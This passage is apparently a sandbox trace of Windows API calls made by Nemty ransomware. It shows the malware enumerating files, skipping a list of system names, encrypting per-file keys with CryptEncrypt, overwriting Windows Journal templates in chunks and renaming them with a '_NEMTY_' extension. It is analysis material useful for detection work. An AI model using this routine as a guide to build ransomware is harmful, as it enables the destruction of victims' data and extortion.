lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.473] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.473] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.473] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f942b0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0101.473] CloseHandle (hObject=0xffffffff) returned 0 [0101.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6340048 [0101.473] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0101.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0101.473] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0101.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0101.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0101.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63400c0 [0101.474] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0101.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400c0 | out: hHeap=0x4f90000) returned 1 [0101.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0101.474] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Journal\\Templates\\Graph.jtp" (normalized: "c:\\program files\\windows journal\\templates\\graph.jtp"), lpNewFileName="C:\\Program Files\\Windows Journal\\Templates\\Graph.jtp._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows journal\\templates\\graph.jtp._nemty_kgobjgd_")) returned 0 [0101.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0101.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0101.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0101.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0101.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0101.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0101.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0101.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94238 | out: hHeap=0x4f90000) returned 1 [0101.474] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc567b835, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc567b835, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47784c37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x26f6e, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Memo.jtp", cAlternateFileName="")) returned 1 [0101.474] lstrcmpiW (lpString1="Memo.jtp", lpString2=".") returned 1 [0101.474] lstrcmpiW (lpString1="Memo.jtp", lpString2="..") returned 1 [0101.474] lstrcmpiW (lpString1="Memo.jtp", lpString2="...") returned 1 [0101.474] lstrcmpiW (lpString1="Memo.jtp", lpString2="windows") returned -1 [0101.474] lstrcmpiW (lpString1="Memo.jtp", lpString2="$RECYCLE.BIN") returned 1 [0101.474] lstrcmpiW (lpString1="Memo.jtp", lpString2="rsa") returned -1 [0101.474] lstrcmpiW (lpString1="Memo.jtp", lpString2="NTDETECT.COM") returned -1 [0101.474] lstrcmpiW (lpString1="Memo.jtp", lpString2="ntldr") returned -1 [0101.474] lstrcmpiW (lpString1="Memo.jtp", lpString2="MSDOS.SYS") returned -1 [0101.474] lstrcmpiW (lpString1="Memo.jtp", lpString2="IO.SYS") returned 1 [0101.474] lstrcmpiW (lpString1="Memo.jtp", lpString2="boot.ini") returned 1 [0101.474] lstrcmpiW (lpString1="Memo.jtp", lpString2="boot.ini") returned 1 [0101.474] lstrcmpiW (lpString1="Memo.jtp", lpString2="AUTOEXEC.BAT") returned 1 [0101.474] lstrcmpiW (lpString1="Memo.jtp", lpString2="ntuser.dat") returned -1 [0101.474] lstrcmpiW (lpString1="Memo.jtp", lpString2="desktop.ini") returned 1 [0101.474] lstrcmpiW (lpString1="Memo.jtp", lpString2="CONFIG.SYS") returned 1 [0101.474] lstrcmpiW (lpString1="Memo.jtp", lpString2="RECYCLER") returned -1 [0101.474] lstrcmpiW (lpString1="Memo.jtp", lpString2="BOOTSECT.BAK") returned 1 [0101.475] lstrcmpiW (lpString1="Memo.jtp", lpString2="bootmgr") returned 1 [0101.475] lstrcmpiW (lpString1="Memo.jtp", lpString2="programdata") returned -1 [0101.475] lstrcmpiW (lpString1="Memo.jtp", lpString2="appdata") returned 1 [0101.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0101.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Memo.jtp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0101.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Memo.jtp", cchWideChar=8, lpMultiByteStr=0x653f250, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Memo.jtp", lpUsedDefaultChar=0x0) returned 8 [0101.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0101.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Memo.jtp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0101.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Memo.jtp", cchWideChar=8, lpMultiByteStr=0x653f250, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Memo.jtp", lpUsedDefaultChar=0x0) returned 8 [0101.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0101.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0101.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0101.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Memo.jtp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0101.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Memo.jtp", cchWideChar=8, lpMultiByteStr=0x653f2a0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Memo.jtp", lpUsedDefaultChar=0x0) returned 8 [0101.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0101.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0101.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Memo.jtp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0101.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Memo.jtp", cchWideChar=8, lpMultiByteStr=0x653f2d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Memo.jtp", lpUsedDefaultChar=0x0) returned 8 [0101.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0101.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94238 [0101.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0101.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941c0 [0101.475] Sleep (dwMilliseconds=0x5) [0101.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf0219510, dwHighDateTime=0x1d561e7)) [0101.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf0219510, dwHighDateTime=0x1d561e7)) [0101.476] GetLastError () returned 0x5 [0101.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0101.476] GetLastError () returned 0x5 [0101.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0101.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0101.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0101.476] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0101.476] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0101.476] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0101.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f942b0 [0101.476] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f942b0, pcchString=0x653ef9c | out: pszString="UP/LvYKapfIsa1Zl2+9ASAO3j494OyhBbA04iVQUlNEpdent85EubdluqiCYiqqh\r\nw70LQr853aJoBI0pH2+wlN/WK8MekhzO7QKF8Nq54gHDW2OlWYsu7kZlO8kUmKRf\r\nWOMh3NU51PO/NALEkbQ4mc/q+RIrzOWUJGAxDokiEh4UlrfHX1cUEN9O+sDtzPhq\r\nnlFAt3k8UsCFRvtj7xujYP62y8n0ZlsA8cGQPTMV57X4eyPelM9j5CMUItlPEa3n\r\nt3PUMSAzz0mzLAQF2zJahKlzUaqaeQipqfGeKUntn4Femwbqt7eWzXSoqXRAay5G\r\n9AqP21FiDHi0OzCENxB2Qw==\r\n", pcchString=0x653ef9c) returned 1 [0101.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0101.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0101.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0101.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0101.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f942b0 [0101.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0101.476] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Memo.jtp" (normalized: "c:\\program files\\windows journal\\templates\\memo.jtp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0101.477] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0101.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0101.477] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.477] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.487] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.487] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.487] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.487] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.496] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.496] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.496] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.496] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.505] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.505] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.505] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.505] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.515] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.515] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.515] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.515] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.524] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.524] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.524] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.524] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.533] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.533] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.533] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.533] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.542] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.542] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.542] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.542] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.552] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.552] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.552] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.552] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.561] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.561] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.561] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.561] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.570] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.570] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.570] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.571] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.577] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.577] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.577] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.577] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.583] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.583] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.583] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.583] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f942b0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0101.583] CloseHandle (hObject=0xffffffff) returned 0 [0101.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6340048 [0101.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0101.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0101.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0101.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0101.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0101.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63400c0 [0101.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0101.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400c0 | out: hHeap=0x4f90000) returned 1 [0101.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0101.583] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Journal\\Templates\\Memo.jtp" (normalized: "c:\\program files\\windows journal\\templates\\memo.jtp"), lpNewFileName="C:\\Program Files\\Windows Journal\\Templates\\Memo.jtp._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows journal\\templates\\memo.jtp._nemty_kgobjgd_")) returned 0 [0101.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0101.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0101.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0101.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0101.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0101.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0101.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0101.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0101.583] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56a1992, 